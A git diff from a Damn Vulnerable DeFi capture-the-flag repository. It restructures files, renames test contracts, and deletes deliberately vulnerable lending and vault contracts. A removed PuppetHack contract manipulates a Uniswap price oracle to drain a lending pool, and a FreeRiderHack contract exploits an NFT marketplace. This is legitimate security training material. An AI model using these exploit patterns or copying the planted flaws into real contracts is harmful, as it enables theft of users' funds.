diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol index 4fe345d..1edba34 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol @@ -1,44 +1,44 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; -import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; -import { ERC721Burnable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; -import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; +// import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +// import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; +// import { ERC721Burnable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; +// import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; -/** - * @title DamnValuableToken - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ +// /** +// * @title DamnValuableToken +// * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) +// */ -contract DamnValuableToken is ERC20 { - constructor() ERC20("DamnValuableToken", "DVT") { - _mint(msg.sender, type(uint256).max); - } -} +// contract DamnValuableToken is ERC20 { +// constructor() ERC20("DamnValuableToken", "DVT") { +// _mint(msg.sender, type(uint256).max); +// } +// } -/** - * @title DamnValuableNFT - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - * @notice Implementation of a mintable and burnable NFT with role-based access controls - */ -contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl { - bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); - uint256 public tokenIdCounter; +// /** +// * @title DamnValuableNFT +// * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) +// * @notice Implementation of a mintable and burnable NFT with role-based access controls +// */ +// contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl { +// bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); +// uint256 public tokenIdCounter; - constructor() ERC721("DamnValuableNFT", "DVNFT") { - _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); - _grantRole(MINTER_ROLE, msg.sender); - } +// constructor() ERC721("DamnValuableNFT", "DVNFT") { +// _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); +// _grantRole(MINTER_ROLE, msg.sender); +// } - function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256 tokenId) { - tokenId = tokenIdCounter; - _safeMint(to, tokenId); - ++tokenIdCounter; - } +// function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256 tokenId) { +// tokenId = tokenIdCounter; +// _safeMint(to, tokenId); +// ++tokenIdCounter; +// } - // The following functions are overrides required by Solidity. - function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) { - return super.supportsInterface(interfaceId); - } -} +// // The following functions are overrides required by Solidity. +// function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) { +// return super.supportsInterface(interfaceId); +// } +// } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised/07.Compromised.sol b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol similarity index 98% rename from contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised/07.Compromised.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol index 862a295..4b6a35b 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised/07.Compromised.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol @@ -5,7 +5,7 @@ import "@solady/utils/LibSort.sol"; import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts-v4.7.1/access/AccessControlEnumerable.sol"; -import "../00.Base/DamnValuableNFT.sol"; +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; contract Exchange is ReentrancyGuard { using Address for address payable; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet/08.Puppet.sol b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet/08.Puppet.sol deleted file mode 100644 index ff6cb65..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet/08.Puppet.sol +++ /dev/null @@ -1,110 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -import "../00.Base/DamnValuableToken.sol"; - -/** - * @title PuppetPool - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract PuppetPool is ReentrancyGuard { - using Address for address payable; - - uint256 public constant DEPOSIT_FACTOR = 2; - - address public immutable uniswapPair; - DamnValuableToken public immutable token; - - mapping(address => uint256) public deposits; - - error NotEnoughCollateral(); - error TransferFailed(); - - event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount); - - constructor(address tokenAddress, address uniswapPairAddress) { - token = DamnValuableToken(tokenAddress); - uniswapPair = uniswapPairAddress; - } - - // Allows borrowing tokens by first depositing two times their value in ETH - function borrow(uint256 amount, address recipient) external payable nonReentrant { - uint256 depositRequired = calculateDepositRequired(amount); - - if (msg.value < depositRequired) { - revert NotEnoughCollateral(); - } - - if (msg.value > depositRequired) { - unchecked { - payable(msg.sender).sendValue(msg.value - depositRequired); - } - } - - unchecked { - deposits[msg.sender] += depositRequired; - } - - // Fails if the pool doesn't have enough tokens in liquidity - if (!token.transfer(recipient, amount)) { - revert TransferFailed(); - } - - emit Borrowed(msg.sender, recipient, depositRequired, amount); - } - - function calculateDepositRequired(uint256 amount) public view returns (uint256) { - return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18; - } - - function _computeOraclePrice() private view returns (uint256) { - // calculates the price of the token in wei according to Uniswap pair - return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair); - } -} - -contract PuppetHack { - DamnValuableToken token; - PuppetPool pool; - - receive() external payable { } // receive eth from uniswap - - constructor( - uint8 v, - bytes32 r, - bytes32 s, - uint256 playerAmount, - uint256 poolAmount, - address _pool, - address _uniswapPair, - address _token - ) - payable - { - pool = PuppetPool(_pool); - token = DamnValuableToken(_token); - prepareAttack(v, r, s, playerAmount, _uniswapPair); - // swap token for eth --> lower token price in uniswap - _uniswapPair.call( - abi.encodeWithSignature("tokenToEthSwapInput(uint256,uint256,uint256)", playerAmount, 1, type(uint256).max) - ); - // borrow token from puppt pool - uint256 ethValue = pool.calculateDepositRequired(poolAmount); - pool.borrow{ value: ethValue }(poolAmount, msg.sender); - // repay tokens to uniswap --> recovery balance in uniswap - _uniswapPair.call{ value: 10 ether }( - abi.encodeWithSignature("ethToTokenSwapOutput(uint256,uint256)", playerAmount, type(uint256).max) - ); - token.transfer(msg.sender, token.balanceOf(address(this))); - payable(msg.sender).transfer(address(this).balance); - } - - function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal { - // tranfser player token to attacker contract - token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v, r, s); - token.transferFrom(msg.sender, address(this), amount); - token.approve(_uniswapPair, amount); - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2/PuppetV2Pool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2/PuppetV2Pool.sol deleted file mode 100644 index fa0f162..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2/PuppetV2Pool.sol +++ /dev/null @@ -1,74 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -// import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; -// import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol"; - -// interface IERC20 { -// function transfer(address to, uint256 amount) external returns (bool); -// function transferFrom(address from, address to, uint256 amount) external returns (bool); -// function balanceOf(address account) external returns (uint256); -// } - -// /** -// * @title PuppetV2Pool -// * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) -// */ -// contract PuppetV2Pool { -// using SafeMath for uint256; - -// address private _uniswapPair; -// address private _uniswapFactory; -// IERC20 private _token; -// IERC20 private _weth; - -// mapping(address => uint256) public deposits; - -// event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp); - -// constructor( -// address wethAddress, -// address tokenAddress, -// address uniswapPairAddress, -// address uniswapFactoryAddress -// ) -// public -// { -// _weth = IERC20(wethAddress); -// _token = IERC20(tokenAddress); -// _uniswapPair = uniswapPairAddress; -// _uniswapFactory = uniswapFactoryAddress; -// } - -// /** -// * @notice Allows borrowing tokens by first depositing three times their value in WETH -// * Sender must have approved enough WETH in advance. -// * Calculations assume that WETH and borrowed token have same amount of decimals. -// */ -// function borrow(uint256 borrowAmount) external { -// // Calculate how much WETH the user must deposit -// uint256 amount = calculateDepositOfWETHRequired(borrowAmount); - -// // Take the WETH -// _weth.transferFrom(msg.sender, address(this), amount); - -// // internal accounting -// deposits[msg.sender] += amount; - -// require(_token.transfer(msg.sender, borrowAmount), "Transfer failed"); - -// emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp); -// } - -// function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { -// uint256 depositFactor = 3; -// return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether); -// } - -// // Fetch the price from Uniswap v2 using the official libraries -// function _getOracleQuote(uint256 amount) private view returns (uint256) { -// (uint256 reservesWETH, uint256 reservesToken) = -// UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token)); -// return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH); -// } -// } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol similarity index 97% rename from contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol index 8e04d4f..dd1891a 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol @@ -1,14 +1,12 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import { console2 } from "@dev/forge-std/src/console2.sol"; - +import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; import { IERC721Receiver } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol"; -import { DamnValuableNFT } from "../00.Base/DamnValuableNFT.sol"; +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; import { IUniswapV2Callee } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol"; import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; @@ -190,6 +188,7 @@ contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver { } } +// Wrapped Ether https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code interface IWETH { function name() external view returns (string memory); function approve(address guy, uint256 amount) external returns (bool); @@ -209,10 +208,6 @@ interface IWETH { event Withdrawal(address indexed src, uint256 amount); } -interface IMarketplace { - function buyMany(uint256[] calldata tokenIds) external payable; -} - contract FreeRiderHack is IUniswapV2Callee { IUniswapV2Pair private immutable pair; FreeRiderNFTMarketplace private immutable marketplace; @@ -247,7 +242,6 @@ contract FreeRiderHack is IUniswapV2Callee { // 2. Unwrap WETH to native ETH weth.withdraw(NFT_PRICE); - console2.log(address(this).balance); // 3. Buy 6 NFTS for only 15 ETH total marketplace.buyMany{ value: NFT_PRICE }(tokens); diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol similarity index 100% rename from contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol similarity index 100% rename from contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/AuthorizerUpgradeable.sol b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/AuthorizerUpgradeable.sol deleted file mode 100644 index de481ac..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/AuthorizerUpgradeable.sol +++ /dev/null @@ -1,44 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; - -import { Initializable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/Initializable.sol"; -import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/UUPSUpgradeable.sol"; -import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/access/OwnableUpgradeable.sol"; - -/** - * @title AuthorizerUpgradeable - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract AuthorizerUpgradeable is Initializable, OwnableUpgradeable, UUPSUpgradeable { - mapping(address => mapping(address => uint256)) private wards; - - event Rely(address indexed usr, address aim); - - function init(address[] memory _wards, address[] memory _aims) external initializer { - __Ownable_init(); - __UUPSUpgradeable_init(); - - for (uint256 i = 0; i < _wards.length;) { - _rely(_wards[i], _aims[i]); - unchecked { - i++; - } - } - } - - function _rely(address usr, address aim) private { - wards[usr][aim] = 1; - emit Rely(usr, aim); - } - - function can(address usr, address aim) external view returns (bool) { - return wards[usr][aim] == 1; - } - - function upgradeToAndCall(address imp, bytes memory wat) external payable override { - _authorizeUpgrade(imp); - _upgradeToAndCallUUPS(imp, wat, true); - } - - function _authorizeUpgrade(address imp) internal override onlyOwner { } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/WalletDeployer.sol b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/WalletDeployer.sol deleted file mode 100644 index 7b2d830..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining/WalletDeployer.sol +++ /dev/null @@ -1,74 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; - -import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; - -interface IGnosisSafeProxyFactory { - function createProxy(address masterCopy, bytes calldata data) external returns (address); -} - -/** - * @title WalletDeployer - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - * @notice A contract that allows deployers of Gnosis Safe wallets (v1.1.1) to be rewarded. - * Includes an optional authorization mechanism to ensure only expected accounts - * are rewarded for certain deployments. - */ -contract WalletDeployer { - // Addresses of the Gnosis Safe Factory and Master Copy v1.1.1 - IGnosisSafeProxyFactory public constant fact = IGnosisSafeProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B); - address public constant copy = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F; - - uint256 public constant pay = 1 ether; - address public immutable CHIEF = msg.sender; - address public immutable GEM; - - address public mom; - - error Boom(); - - constructor(address _gem) { - GEM = _gem; - } - - /** - * @notice Allows the chief to set an authorizer contract. - * Can only be called once. TODO: double check. - */ - function rule(address _mom) external { - if (msg.sender != CHIEF || _mom == address(0) || mom != address(0)) { - revert Boom(); - } - mom = _mom; - } - - /** - * @notice Allows the caller to deploy a new Safe wallet and receive a payment in return. - * If the authorizer is set, the caller must be authorized to execute the deployment. - * @param wat initialization data to be passed to the Safe wallet - * @return aim address of the created proxy - */ - function drop(bytes memory wat) external returns (address aim) { - aim = fact.createProxy(copy, wat); - if (mom != address(0) && !can(msg.sender, aim)) { - revert Boom(); - } - IERC20(GEM).transfer(msg.sender, pay); - } - - // TODO(0xth3g450pt1m1z0r) put some comments - function can(address u, address a) public view returns (bool) { - assembly { - let m := sload(0) - if iszero(extcodesize(m)) { return(0, 0) } - let p := mload(0x40) - mstore(0x40, add(p, 0x44)) - mstore(p, shl(0xe0, 0x4538c4eb)) - mstore(add(p, 0x04), u) - mstore(add(p, 0x24), a) - if iszero(staticcall(gas(), m, p, 0x44, p, 0x20)) { return(0, 0) } - if and(not(iszero(returndatasize())), iszero(mload(p))) { return(0, 0) } - } - return true; - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3/PuppetV3Pool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3/PuppetV3Pool.sol deleted file mode 100644 index 4a6f080..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3/PuppetV3Pool.sol +++ /dev/null @@ -1,71 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -// import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol"; -// import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; -// import "@uniswap/v3-core/contracts/libraries/TransferHelper.sol"; -// import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol"; - -// /** -// * @title PuppetV3Pool -// * @notice A simple lending pool using Uniswap v3 as TWAP oracle. -// * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) -// */ -// contract PuppetV3Pool { -// uint256 public constant DEPOSIT_FACTOR = 3; -// uint32 public constant TWAP_PERIOD = 10 minutes; - -// IERC20Minimal public immutable weth; -// IERC20Minimal public immutable token; -// IUniswapV3Pool public immutable uniswapV3Pool; - -// mapping(address => uint256) public deposits; - -// event Borrowed(address indexed borrower, uint256 depositAmount, uint256 borrowAmount); - -// constructor(IERC20Minimal _weth, IERC20Minimal _token, IUniswapV3Pool _uniswapV3Pool) { -// weth = _weth; -// token = _token; -// uniswapV3Pool = _uniswapV3Pool; -// } - -// /** -// * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH. -// * Sender must have approved enough WETH in advance. -// * Calculations assume that WETH and the borrowed token have the same number of decimals. -// * @param borrowAmount amount of tokens the user intends to borrow -// */ -// function borrow(uint256 borrowAmount) external { -// // Calculate how much WETH the user must deposit -// uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount); - -// // Pull the WETH -// weth.transferFrom(msg.sender, address(this), depositOfWETHRequired); - -// // internal accounting -// deposits[msg.sender] += depositOfWETHRequired; - -// TransferHelper.safeTransfer(address(token), msg.sender, borrowAmount); - -// emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount); -// } - -// function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) { -// uint256 quote = _getOracleQuote(_toUint128(amount)); -// return quote * DEPOSIT_FACTOR; -// } - -// function _getOracleQuote(uint128 amount) private view returns (uint256) { -// (int24 arithmeticMeanTick,) = OracleLibrary.consult(address(uniswapV3Pool), TWAP_PERIOD); -// return OracleLibrary.getQuoteAtTick( -// arithmeticMeanTick, -// amount, // baseAmount -// address(token), // baseToken -// address(weth) // quoteToken -// ); -// } - -// function _toUint128(uint256 amount) private pure returns (uint128 n) { -// require(amount == (n = uint128(amount))); -// } -// } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/AuthorizedExecutor.sol b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/AuthorizedExecutor.sol deleted file mode 100644 index 647213b..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/AuthorizedExecutor.sol +++ /dev/null @@ -1,71 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; - -/** - * @title AuthorizedExecutor - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -abstract contract AuthorizedExecutor is ReentrancyGuard { - using Address for address; - - bool public initialized; - - // action identifier => allowed - mapping(bytes32 => bool) public permissions; - - error NotAllowed(); - error AlreadyInitialized(); - - event Initialized(address who, bytes32[] ids); - - /** - * @notice Allows first caller to set permissions for a set of action identifiers - * @param ids array of action identifiers - */ - function setPermissions(bytes32[] memory ids) external { - if (initialized) { - revert AlreadyInitialized(); - } - - for (uint256 i = 0; i < ids.length;) { - unchecked { - permissions[ids[i]] = true; - ++i; - } - } - initialized = true; - - emit Initialized(msg.sender, ids); - } - - /** - * @notice Performs an arbitrary function call on a target contract, if the caller is authorized to do so. - * @param target account where the action will be executed - * @param actionData abi-encoded calldata to execute on the target - */ - function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) { - // Read the 4-bytes selector at the beginning of `actionData` - bytes4 selector; - uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins - assembly { - selector := calldataload(calldataOffset) - } - - if (!permissions[getActionId(selector, msg.sender, target)]) { - revert NotAllowed(); - } - - _beforeFunctionCall(target, actionData); - - return target.functionCall(actionData); - } - - function _beforeFunctionCall(address target, bytes memory actionData) internal virtual; - - function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) { - return keccak256(abi.encodePacked(selector, executor, target)); - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/SelfAuthorizedVault.sol b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/SelfAuthorizedVault.sol deleted file mode 100644 index 6fdc82c..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling/SelfAuthorizedVault.sol +++ /dev/null @@ -1,63 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; -import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; -import { AuthorizedExecutor } from "./AuthorizedExecutor.sol"; - -/** - * @title SelfAuthorizedVault - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract SelfAuthorizedVault is AuthorizedExecutor { - uint256 public constant WITHDRAWAL_LIMIT = 1 ether; - uint256 public constant WAITING_PERIOD = 15 days; - - uint256 private _lastWithdrawalTimestamp = block.timestamp; - - error TargetNotAllowed(); - error CallerNotAllowed(); - error InvalidWithdrawalAmount(); - error WithdrawalWaitingPeriodNotEnded(); - - modifier onlyThis() { - if (msg.sender != address(this)) { - revert CallerNotAllowed(); - } - _; - } - - /** - * @notice Allows to send a limited amount of tokens to a recipient every now and then - * @param token address of the token to withdraw - * @param recipient address of the tokens' recipient - * @param amount amount of tokens to be transferred - */ - function withdraw(address token, address recipient, uint256 amount) external onlyThis { - if (amount > WITHDRAWAL_LIMIT) { - revert InvalidWithdrawalAmount(); - } - - if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { - revert WithdrawalWaitingPeriodNotEnded(); - } - - _lastWithdrawalTimestamp = block.timestamp; - - SafeTransferLib.safeTransfer(token, recipient, amount); - } - - function sweepFunds(address receiver, IERC20 token) external onlyThis { - SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this))); - } - - function getLastWithdrawalTimestamp() external view returns (uint256) { - return _lastWithdrawalTimestamp; - } - - function _beforeFunctionCall(address target, bytes memory) internal view override { - if (target != address(this)) { - revert TargetNotAllowed(); - } - } -} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol index 9a65ac6..a0e5eea 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol @@ -11,7 +11,7 @@ import { SideEntranceLenderPool, SideEntranceAttack } from "@contracts/CTF/Damn- forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol -vvvvv */ -contract Challenge_3_Side_Entrance_Test is Test { +contract Challenge_4_Side_Entrance_Test is Test { // hacking attack address address private deployer = address(1); address private feeRecipient = address(2); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol index 9730213..3b58b30 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol @@ -20,7 +20,7 @@ import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol -vvvvv */ -contract _03_Test is Test { +contract Challenge_5_The_Rewarder_Test is Test { using FixedPointMathLib for uint256; address private deployer = address(1); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol index d629f0e..79ad7cb 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol @@ -4,7 +4,7 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { console2 } from "forge-std/console2.sol"; -import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; import { DamnValuableTokenSnapshot } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol"; import { SimpleGovernance, SelfiePool, SelfieHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol"; @@ -12,7 +12,7 @@ import { SimpleGovernance, SelfiePool, SelfieHack } from "@contracts/CTF/Damn-Vu forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol -vvvvv */ -contract Side_Entrance_03_Test is Test { +contract Challenge_5_Selfie_Test is Test { // hacking attack address address private deployer = address(1); address private feeRecipient = address(2); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol index 8a4378f..c62036f 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol @@ -4,18 +4,16 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { console2 } from "forge-std/console2.sol"; -import { DamnValuableToken } from 